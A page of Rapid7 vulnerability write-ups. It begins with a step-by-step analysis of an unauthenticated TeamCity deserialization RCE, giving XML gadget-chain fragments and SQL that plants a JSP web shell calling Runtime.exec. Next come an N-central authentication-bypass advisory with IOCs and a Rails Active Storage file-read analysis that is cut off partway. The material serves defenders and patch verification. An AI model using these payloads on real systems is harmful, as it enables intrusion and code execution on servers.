Reading view

There are new articles available, click to refresh the page.

Rapid7 Analysis: Unauthenticated Remote Code Execution in JetBrains TeamCity (CVE-2026-63077)

Overview

On July 27, 2026, JetBrains published a security advisory for CVE-2026-63077, a critical unsafe deserialization vulnerability affecting JetBrains TeamCity. An attacker who can reach a TeamCity server over HTTP or HTTPS can exploit the agent polling protocol without credentials and execute operating system commands with the privileges of the TeamCity server process.

JetBrains reported no known active exploitation when it disclosed the vulnerability. However, on August 5, 2026, CISA added CVE-2026-63077 to its Known Exploited Vulnerabilities (KEV) catalog, confirming exploitation in the wild.

Our analysis finds that a vulnerable TeamCity server creates a permissive XStream allowlist. This allowlist is intended to restrict which Java classes can be deserialized when servicing unauthenticated agent requests. However, this allowlist incorrectly adds TeamCity protocol classes without removing XStream's existing default permissions. This introduces an unsafe deserialization issue. A patched TeamCity server remediates this by adding NoTypePermission.NONE before the TeamCity allowlist, which removes the default permissions and makes the allowlist exclusive.

Rapid7 Labs has verified that the patch successfully remediates the exploit described in this analysis. A proof-of-concept script for CVE-2026-63077 can be found here.

Analysis

Our analysis compares a vulnerable TeamCity version 2026.1.2 against a patched version 2026.1.3.

TeamCity uses a central server to coordinate builds and separate build agents to run them. An agent can communicate with the server through the agent polling protocol: it registers, asks the server for its next command, and reports whether that command succeeded or failed. The endpoints under /app/agents/v1 support this agent communication channel rather than the TeamCity web interface or REST API. A TeamCity-AgentSessionId HTTP header value identifies a polling connection, but it does not mean that either a user or agent has authenticated to TeamCity, as access to many agent endpoints remains unauthenticated.

XStream is a Java library that converts object graphs to XML and reconstructs those graphs from XML. An object graph can contain nested objects, collection entries, private fields, and references to an object that appeared earlier in the document. XStream aliases give Java types shorter XML names. For example, <linked-hash-map> is XStream's alias for java.util.LinkedHashMap. Nested element names and class attributes select other concrete Java types, while reference attributes point back to objects that XStream has already constructed. Converters and reflection-based code then allocate the selected types and populate their fields.

Patch diff

The class jetbrains.buildServer.messages.XStreamHolder is TeamCity's wrapper for creating and configuring XStream instances. TeamCity 2026.1.2 creates an instance of XStreamHolder, configures it, and then calls setupSecurityIfNeeded(). If the TeamCity allowlists contain entries, this method adds those entries to the permissions that XStream already installed:

// ./webapps/ROOT/WEB-INF/lib/messages.jar
package jetbrains.buildServer.messages;

public class XStreamHolder {

// ...

private void setupSecurityIfNeeded(XStreamWrapper xStream) {
  if (this.myAdditionalClassesWhiteList.isEmpty()
            && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
    XStreamHolder.setupDefaultSecurityOldWay(xStream);
    return;
  }
    xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
        .toArray(new String[0]));                         // <--- [1]
    xStream.allowTypes(this.myAdditionalClassesWhiteList
        .toArray(new String[0]));                         // <--- [2]
}

The calls at [1] and [2] do not start from an empty permission set. The bundled XStream 1.4.20.3 constructor has already called setupSecurity(), which permits several broad type hierarchies, including Map and Throwable:

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

Therefore, even though TeamCity has not explicitly allowed any types, several allowed types are already present on the permission list due to XStream's defaults. This is enough to lead to unsafe deserialization.

The patch from version 2026.1.3 can be seen in the diff below and shows how these default allowed types are now cleared by TeamCity:

+import com.thoughtworks.xstream.security.NoTypePermission;

+private static volatile boolean isWhiteListForced = true;

+public static void forceWhiteList(boolean force) {
+    isWhiteListForced = force;
+}

 private void setupSecurityIfNeeded(XStreamWrapper xStream) {
     if (this.myAdditionalClassesWhiteList.isEmpty()
             && OUR_STATIC_CLASSES_WHITE_LIST.isEmpty()) {
         XStreamHolder.setupDefaultSecurityOldWay(xStream);
         return;
     }
+    if (isWhiteListForced) {
+        xStream.addPermission(NoTypePermission.NONE);    // <--- [3] Clears all existing permissions
+    }
     xStream.allowTypes(OUR_STATIC_CLASSES_WHITE_LIST.keySet()
         .toArray(new String[0]));
     xStream.allowTypes(this.myAdditionalClassesWhiteList
         .toArray(new String[0]));
 }

The patched initializer turns the new behavior on before it populates the static allowlist:

 public static void initializeWhiteList() {
     String string = TeamCityProperties.getProperty(
         (String)"teamcity.xstream.additionalAllowedClassNames", (String)""
     );
     if ("*".equals(string)) {
         return;
     }
+    XStreamHolder.forceWhiteList((boolean)TeamCityProperties.getBooleanOrTrue(
+        (String)"teamcity.xstream.whiteList.forced"
+    ));                                                     // <--- [4]
     XStreamHolder.addClassesWhiteList((String[])CLASSES_WHITE_LIST);
     XStreamHolder.addClassesWhiteList((String[])string.split(","));
 }

XStream's SecurityMapper.addPermission() clears its permission list when it receives NoTypePermission.NONE. The allowTypes calls that follow [3] now operate on a deny-by-default baseline, i.e., Map and Throwable are no longer allowed types. The TeamCityProperties.getBooleanOrTrue() call at [4] means the new property defaults to true, so clearing the permission list at [3] will now occur by default on a patched server.

Root cause

The missing XStream class type permission reset is the root cause of CVE-2026-63077. TeamCity treats the configured classes as an allowlist, but XStream evaluates them alongside its earlier default permissions. In Java, a type hierarchy permission covers implementations and subclasses, not only the named type. Permitting Map therefore covers classes that implement Map such as LinkedHashMap, while permitting Throwable covers exception subclasses such as RuntimeException. These broad permissions expose enough object construction and reconstruction callbacks to assemble a working gadget chain.

The exploit also depends on how XStream's reflection converter handles declared fields and object references. Java reflection lets code inspect a class's field definitions at runtime and assign values to an object's fields. An explicitly represented class name or class attribute passes through SecurityMapper.realClass(). By contrast, an exact declared field already provides its Java type, allowing XStream to allocate that field without a second explicit type lookup. An XPath reference can then reuse the allocated object without another type check when the reference omits the redundant concrete class attribute. In this context, XPath is an address within the XML object graph, not a query against TeamCity data.

Applied here, this allows a deserialization payload that begins with TeamCity's HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. Because it is a non-static inner class, it has a compiler-generated field pointing to its enclosing HSQLMetadataStorage instance. From there, the exact declared fields myHSQLStorage and myDataSource lead XStream to an org.apache.commons.dbcp2.BasicDataSource. XStream follows those field types without resolving BasicDataSource from an explicit element name or class attribute, even though TeamCity 2026.1.2 rejects that class when the XML names it directly. The patched version 2026.1.3 stops the chain earlier by rejecting SchemaMismatchException, which is absent from TeamCity's explicit protocol allowlist.

Triggering the vulnerability

First, the server accepts an agent registration request via an HTTP POST to the /app/agents/v1/register endpoint, and returns a new session identifier in the TeamCity-AgentSessionId response header.

The attacker then sends arbitrary XML to the error command endpoint with that server-issued session header via an HTTP POST to the /app/agents/v1/commands/error endpoint. The handler for this endpoint is the method handleCommands, shown below. This will validate the incoming request’s TeamCity-AgentSessionId header before calling the handler for the error command.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

The method handleCommandIsFailedRequest will then proceed to unsafely deserialize the incoming request’s XML body.

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

Error.fromXml() calls XStreamWrapper.deserializeObject(). By providing a suitable gadget chain in the incoming request’s XML body, we can achieve unauthenticated RCE via unsafe deserialization.

The gadget chain

The gadget chain's objective is to make TeamCity call BasicDataSource.getConnection() on an attacker-configured object. That getter starts the following path from deserialization to command execution:

  1. The payload reconstructs a BasicDataSource configured to use TeamCity's bundled HSQLDB driver.

  2. A collection callback causes FreeMarker to resolve the JavaBean property connection, which invokes BasicDataSource.getConnection().

  3. Apache DBCP opens a new in-memory HSQLDB database and executes the SQL in connectionInitSqls.

  4. The final SQL statement uses HSQLDB's SCRIPT command to write a malicious JSPWS file into TeamCity's webroot.

  5. The attacker makes an HTTP request to that JSP file, executing the script's contents server-side, for example Runtime.getRuntime().exec() can be used to execute an attacker-controlled OS command.

The first four steps occur while TeamCity handles the malicious XML request. The fifth requires a second HTTP request. The object graph exists to solve two problems in the first two steps: XStream rejects BasicDataSource when the XML names it directly, and merely constructing a datasource does not call its getConnection() method.

Object graph construction

The payload's XML root is a three-entry LinkedHashMap. Entry one constructs and configures the datasource without naming its concrete class in a new XML node. Entry two presents that datasource to FreeMarker as an object whose properties can be read by name. Entry three forces a lookup of the property named connection.

figure1.png

Figure 1: High-level gadget chain flow to BasicDataSource.getConnection().

The entries appear in this order in the XML because the later entries refer to objects created by the earlier ones. XStream reconstructs them in document order, and the LinkedHashMap retains their insertion order in the resulting Java object.

Entry one: construct and configure the datasource

The first entry begins with HSQLMetadataStorage$SchemaMismatchException. This class extends RuntimeException, so XStream accepts it under the default Throwable hierarchy permission. It is a non-static Java inner class, which means the compiler gives each instance a hidden this$0 field pointing to its enclosing HSQLMetadataStorage object. XStream serializes that compiler-generated reference as outer-class.

The enclosing HSQLMetadataStorage declares a field named myHSQLStorage with the exact type HSQLStorage. That class, in turn, declares myDataSource with the exact type BasicDataSource. Because the XML does not represent either field with a new element type or class attribute, XStream follows the declared Java field types without performing another explicit lookup for those classes:

<jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  <outer-class>
    <myHSQLStorage>
      <myDataSource>
        <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
        <url>jdbc:hsqldb:mem:<random></url>
        <userName>SA</userName>
        <connectionInitSqls>
<!-- attacker-controlled HSQLDB statements -->
</connectionInitSqls>
      </myDataSource>
    </myHSQLStorage>
  </outer-class>
</jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>

XStream encodes the dollar sign in a Java inner-class name as _- when it creates an XML element name. The element ending in HSQLMetadataStorage_-SchemaMismatchException therefore identifies the Java class HSQLMetadataStorage$SchemaMismatchException.

Entry two: expose the datasource through FreeMarker

The first entry leaves a configured datasource in memory, but nothing has called it. The second entry makes its JavaBean properties available through a FreeMarker HashAdapter. HashAdapter extends AbstractMap, so XStream accepts the explicit class under its default Map hierarchy permission.

The adapter needs a FreeMarker model that can read properties from the datasource. The payload creates a BooleanModel through the exact BeansWrapper.falseModel field, then populates the model's inherited BeanModel.object field with a reference to the BasicDataSource in entry one instead of a Boolean value. Finally, HashAdapter.model refers to that BooleanModel:

<freemarker.ext.beans.HashAdapter>
  <wrapper>
    <!-- Class-introspection state from the PoC is omitted here. -->
    <falseModel>
      <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
      <wrapper reference="../.."/>
      <value>false</value>
    </falseModel>
    <!-- Remaining BeansWrapper state from the PoC is omitted here. -->
  </wrapper>
  <model reference="../wrapper/falseModel"/>
</freemarker.ext.beans.HashAdapter>

The reference attributes preserve object identity rather than create copies. BooleanModel.object points to the existing datasource, HashAdapter.model points to the existing BooleanModel, and BooleanModel.wrapper points back to the same BeansWrapper. No reference introduces a new concrete class node. In particular, <object> does not repeat the BasicDataSource type, so XStream does not perform a new explicit lookup for that denied class. The shared BeansWrapper supplies the class introspection used later to resolve the connection property.

Entry three: trigger the property lookup

The graph can now resolve datasource properties, but it still needs an automatic callback to request one. The third entry uses a HashSet, accepted under XStream's default Collection hierarchy permission, and a Commons Collections TiedMapEntry, accepted under the default Map.Entry hierarchy permission. A TiedMapEntry ties a key to a backing map. Here, its map field refers to the HashAdapter from entry two, and its key is the string connection:

<set>
  <org.apache.commons.collections.keyvalue.TiedMapEntry>
    <map class="freemarker.ext.beans.HashAdapter"
         reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
<key class="string">connection</key>
  </org.apache.commons.collections.keyvalue.TiedMapEntry>
</set>

The reference value is relative to the nested <map> element. Four ../ steps return to the LinkedHashMap root, and XPath's one-based entry[2] index selects the second entry. Reusing that adapter preserves its connection to the BooleanModel and, through the model, to the datasource from entry one.

Object construction now ends with one continuous route: TiedMapEntry to HashAdapter, HashAdapter to BooleanModel, and BooleanModel to BasicDataSource. At this point, no database connection has opened yet. The gadget chain triggers when XStream inserts the TiedMapEntry into the HashSet.

Triggering gadget execution

A HashSet stores elements by hash. When XStream inserts the reconstructed TiedMapEntry, HashSet.add() automatically calls TiedMapEntry.hashCode(). That method calls getValue(), which performs map.get(key) against the referenced HashAdapter with connection as the key. It is worth noting that this is a mechanism very similar to that used by the classic CommonsCollections6 ysoserial gadget. However, the existing CommonsCollections6 gadget cannot be used because TeamCity’s XStream permissions reject the ChainedTransformer and InvokerTransformer classes used by CommonsCollections6.

The resulting call to HashAdapter.get("connection") passes the property name connection to the referenced BooleanModel. BooleanModel inherits FreeMarker's BeanModel property lookup. JavaBeans use a naming convention in which a property named connection can be read through a public getConnection() method, so FreeMarker invokes BasicDataSource.getConnection().

A Java DataSource is a factory for Java Database Connectivity (JDBC) connections. BasicDataSource is the Apache Commons Database Connection Pooling (DBCP) implementation bundled with TeamCity. The payload configures it to load TeamCity's bundled HyperSQL Database (HSQLDB) driver and connect to a new in-memory database at a randomized jdbc:hsqldb:mem: URL. This database is separate from TeamCity's application database and requires no TeamCity database credentials. DBCP then runs the attacker-controlled connectionInitSqls, a list of SQL statements intended to initialize each new connection.

The initialization SQL creates a table containing a JSP scriptlet and asks HSQLDB to serialize the database to an attacker-selected path:

CREATE TABLE IF NOT EXISTS T<RANDOM>(C<RANDOM> VARCHAR(4000))
INSERT INTO T<RANDOM> VALUES ('<% ... Runtime.getRuntime().exec(command) ... %>')
SCRIPT '../webapps/ROOT/<random-hex>.jspws'

HSQLDB's SCRIPT statement writes a textual representation of the in-memory database to the supplied path. The payload places a JavaServer Pages (JSP) scriptlet inside a table row, so the resulting SQL script is also a valid JSP template (i.e. a polyglot). This mechanism is similar to the one used by Secfault Security as part of a LibreOffice exploit.

Executing a JSP payload

Apache Jasper is the JSP engine in TeamCity's servlet container. It compiles JSP source code into Java servlet code that handles an HTTP request, then runs that code inside the TeamCity server's Java process. Whether a path reaches Jasper depends on the servlet mappings in WEB-INF/web.xml. TeamCity defines realJspServlet as Jasper's org.apache.jasper.servlet.JspServlet, then maps the custom *.jspws extension directly to it. By contrast, TeamCity sends ordinary *.jsp requests to its buildServer dispatcher:

<servlet>
  <servlet-name>realJspServlet</servlet-name>
  <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>realJspServlet</servlet-name>
  <url-pattern>*.jspws</url-pattern>
</servlet-mapping>

<servlet-mapping>
  <servlet-name>buildServer</servlet-name>
  <url-pattern>*.jsp</url-pattern>
</servlet-mapping>

The buildServer servlet does not dispatch every direct .jsp request to Jasper. The corresponding JspController.doHandle() method first requires an internal TeamCity request, an authenticated TeamCity user, or an explicit configuration property that permits direct JSP requests. If these are not present, it returns HTTP 403 before the JSP runs:

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

We therefore target .jspws, as this allows a direct anonymous request to reach Jasper, compile the newly written file and execute it. This allows us to execute arbitrary Java such as Runtime.getRuntime().exec() which in turn can deliver the payload.

Exploitation

A proof-of-concept script for CVE-2026-63077 can be found here. Organizations can use this script to validate their detection and remediation posture. The exploit script will leverage the gadget chain described in this analysis to write a malicious JSPWS file in order to execute an arbitrary command, before deleting the JSPWS file from disk. An example of its operation is shown below in Figure 2.

poc2.png

Figure 2: Proof-of-concept exploitation.

The vendor-supplied patch, version 2026.1.3, has been verified to successfully prevent the unsafe deserialization of the gadget chain presented in this analysis. The teamcity-server.log file on a patched system shows the new XStream NoTypePermission.NONE added by the patch to effectively prevent the gadget chain's first entry, HSQLMetadataStorage$SchemaMismatchException, from having its type successfully resolved.

[2026-08-07 01:53:09,794]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:58356, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.security.ForbiddenClassException: jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage$SchemaMismatchException
	at com.thoughtworks.xstream.security.NoTypePermission.allows(NoTypePermission.java:26)
	at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:74)
	at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:125)
	at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:47)
	...

IOC

On an exploited system, the TeamCity server logs will contain detailed exception traces due to the deserialization gadget causing a Java exception to be thrown. For example, in the log file C:\TeamCity\logs\teamcity-server.log the following may be present. This identifies the vulnerable URI path, the attacker's IP address, and an exception that correlates to the gadget chain being used for exploitation. Note: the full stack trace has been removed for brevity:

[2026-08-07 00:36:36,467]  ERROR -   jetbrains.buildServer.SERVER - Error com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------; while processing request: POST '/app/agents/v1/commands/error', from client 192.168.86.70:52728, user-agent "Python-urllib/3.10", no auth

com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------
	at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:81)
	at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:72)
	...

A similar exception in a javaLogging file (for example, C:\TeamCity\logs\teamcity-javaLogging-2026-08-07.log) will also show the gadget chain’s JSPWS payload as part of an org.hsqldb.HsqlException message:

07-Aug-2026 00:36:36.462 SEVERE [http-nio-8111-exec-4] org.apache.catalina.core.StandardWrapperValve.invoke Servlet.service() for servlet [buildServer] in context with path [] threw exception [Request processing failed; nested exception is com.thoughtworks.xstream.converters.ConversionException: 
---- Debugging information ----
cause-exception     : freemarker.template.utility.UndeclaredThrowableException
cause-message       : freemarker.core._TemplateModelException: An error has occurred when reading existing sub-variable "connection"; see cause exception! The type of the containing value was: boolean+extended_hash (org.apache.commons.dbcp2.BasicDataSource wrapped into f.e.b.BooleanModel)
class               : java.util.HashSet
required-type       : java.util.HashSet
converter-type      : com.thoughtworks.xstream.converters.collections.CollectionConverter
path                : /linked-hash-map/entry[3]/set/org.apache.commons.collections.keyvalue.TiedMapEntry
line number         : 104
class[1]            : java.util.LinkedHashMap
required-type[1]    : java.util.LinkedHashMap
converter-type[1]   : com.thoughtworks.xstream.converters.collections.MapConverter
version             : 2026.1-222647
-------------------------------] with root cause
	org.hsqldb.HsqlException: file input/output error: ../webapps/ROOT/682aed03b49b.jspws already exists
		at org.hsqldb.error.Error.error(Unknown Source)
	...

Remediation

For remediation guidance, please see Rapid7’s Emergent Threat Response blog for CVE-2026-63077, which contains further details.

CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform's Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog and on August 5, 2026, CVE-2026-18556 was also added to the catalog.

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

  • All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.

Fixed version:

  • N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).

The vendor also recommends:

  • Upgrading N-central agents after applying the server hotfix.

  • Reviewing systems for indicators of compromise.

  • Contacting N-able Support immediately if evidence of compromise is discovered.

  • Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

  • Presence of a Cloudflared service.

  • A suspicious svchost.exe located within the user's Documents folder.

Network Indicators:

  • Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

    • 173[.]249[.]252[.]200

    • 87[.]249[.]138[.]34

    • 37[.]19[.]210[.]32

    • 37[.]153[.]90[.]88

    • 92[.]118[.]112[.]181

    • 68[.]235[.]46[.]214 

Organizations should also review:

  • Authentication logs

  • Administrative account creation or modification

  • Take Control session activity

  • Remote management logs

  • Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 and CVE-2026-18556 with vulnerability checks available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

  • August 4, 2026: Initial publication.

  • August 4, 2026: Updated Rapid7 customers section to reflect the availability of vulnerability checks.
  • August 7, 2026: Updated the Overview and Rapid7 Customers sections to indicate addition of CVE-2026-18556 to CISA KEV and availability of vulnerability checks.

Rapid7 Analysis: KindaRails2Shell (CVE-2026-66066)

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, an arbitrary file read in Active Storage applications that use the Vips image processor with untrusted uploads. The affected Active Storage ranges are < 7.2.3.2, >= 8.0, < 8.0.5.1, and >= 8.1, < 8.1.3.1. Vips is the default Active Storage variant processor for applications that load Rails 7.0 or later defaults. Rails 6 applications are affected only when they explicitly configure Vips.

Our Emergent Threat Response blog covers the affected versions, mitigation guidance, and current exploitation status. This post traces the request from the direct-upload endpoint to the HDF5 read, then shows how the arbitrary file read can expose Rails signing material and become code execution. A vulnerable application can disclose arbitrary files before the attacker has recovered a Rails secret or forged a token. A genuine Active Storage variation_key from the same application, paired with a direct-upload blob whose stored content_type claims to be an image, is enough to reach a libvips loader that turns a crafted MAT/HDF5 file into an arbitrary file-read oracle.

We reproduced the published chain against Rails 6.0.6.1, 6.1.7.10, 7.2.3.1, 8.0.5, and 8.1.3, and confirmed that patched 7.2.3.2, 8.0.5.1, and 8.1.3.1 targets block the crafted representation. We also validated a remote code execution (RCE) path that uses only JSON-compatible Hash, Array, and String values in a signed variation. That path reaches Kernel#spawn or Kernel#eval through ImageProcessing's chain builder, and it worked when Rails was configured with config.active_support.message_serializer = :json.

The advisory covers the vulnerable Active Storage configuration. The MAT/HDF5 representation chain shown here has narrower requirements. The deployed libvips build must expose matload with MAT 7.3/HDF5 support, the application must preserve an attacker-supplied content_type, and the attacker must be able to trigger a representation, for example with a genuine variation key. Those requirements narrow where this particular chain works, but the underlying issue is that Active Storage handed untrusted uploads to libvips operations that libvips already marked unsafe for untrusted content.

The attack can be summarized as follows:

[Attacker]
   |
   | 1. Creates a direct-upload blob with content_type = image/png
   v
[Rails stores the blob as an image without examining the bytes]
   |
   | 2. Reuses a genuine variation_key from the same application
   v
[Rails accepts the blob as variable and starts a representation]
   |
   | 3. image_processing hands the local tempfile path to libvips
   v
[libvips matload]
   |
   | 4. Bytes 0-9 match "MATLAB 5.0"
   v
[libmatio]
   |
   | 5. Bytes 124-125 contain MAT_FT_MAT73 (0x0200)
   v
[HDF5 external storage]
   |
   | 6. Dataset bytes come from attacker-chosen path + offset
   v
[Rendered PNG representation]
   |
   --> Target file bytes are returned as image pixels

Analysis

The published chain contains two separate trust failures. Rails decides that a blob is an image from a database value, while libvips decides what parser to use from the bytes on disk. Once the file reaches matload, libvips and libmatio disagree again about the same MAT header. libvips only looks at the first ten bytes, while libmatio selects the MAT version from bytes 124 and 125.

Direct upload stores an attacker-controlled type

The standard direct-upload endpoint creates the blob record before the service receives the file. In Rails 8.0.5, ActiveStorage::DirectUploadsController#create accepts content_type directly from the request and passes it into create_before_direct_upload!:

class ActiveStorage::DirectUploadsController < ActiveStorage::BaseController
  def create
    blob = ActiveStorage::Blob.create_before_direct_upload!(**blob_args) # <-- [1]
    render json: direct_upload_json(blob)
  end

  private
    def blob_args
      params.expect(blob: [:filename, :byte_size, :checksum, :content_type, metadata: {}]).to_h.symbolize_keys # <-- [2]
    end
    def create_before_direct_upload!(key: nil, filename:, byte_size:, checksum:, content_type: nil, metadata: nil, service_name: nil, record: nil)
      metadata = filter_metadata(metadata)
      create! key: key, filename: filename, byte_size: byte_size, checksum: checksum, content_type: content_type, metadata: metadata, service_name: service_name # <-- [3]
    end

At [1] and [2], the endpoint accepts content_type from the client. At [3], Active Storage writes that value directly to the blob record. The direct-upload path never runs the server-side unfurl flow that would identify the bytes with Marcel. When we uploaded the same crafted file through a normal multipart attachment in the lab, Rails re-identified it as MATLAB data before variant processing, so it did not pass the image gate.

Once the direct-upload blob exists, Blob#variable? uses only the stored database value to decide whether the blob can be transformed. On the representation path, no built-in previewer accepts image/png, so the blob falls through to variant:

  def variant(transformations)
    if variable?
      variant_class.new(self, ActiveStorage::Variation.wrap(transformations).default_to(default_variant_transformations))
    else
      raise ActiveStorage::InvariableError, "Can't transform blob with ID=#{id} and content_type=#{content_type}"
    end
  end

  # Returns true if the variant processor can transform the blob (its content
  # type is in +ActiveStorage.variable_content_types+).
  def variable?
    ActiveStorage.variable_content_types.include?(content_type) # <-- [4]
  end

At [4], Rails performs a set-membership check against the stored content_type. No file bytes are examined. A crafted MAT/HDF5 object stored as image/png reaches the image variant pipeline.

A genuine variation key can be replayed against another blob

The standard representation route accepts a signed blob ID and a signed variation key as separate parameters. Rails resolves them independently:

module ActiveStorage::SetBlob # :nodoc:
  extend ActiveSupport::Concern

  included do
    before_action :set_blob
  end

  private
    def set_blob
      @blob = blob_scope.find_signed!(params[:signed_blob_id] || params[:signed_id]) # <-- [5]
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      head :not_found
    end

    def blob_scope
      ActiveStorage::Blob
    end
end
class ActiveStorage::Representations::BaseController < ActiveStorage::BaseController # :nodoc:
  include ActiveStorage::SetBlob

  before_action :set_representation

  private
    def blob_scope
      ActiveStorage::Blob.scope_for_strict_loading
    end

    def set_representation
      @representation = @blob.representation(params[:variation_key]).processed # <-- [6]
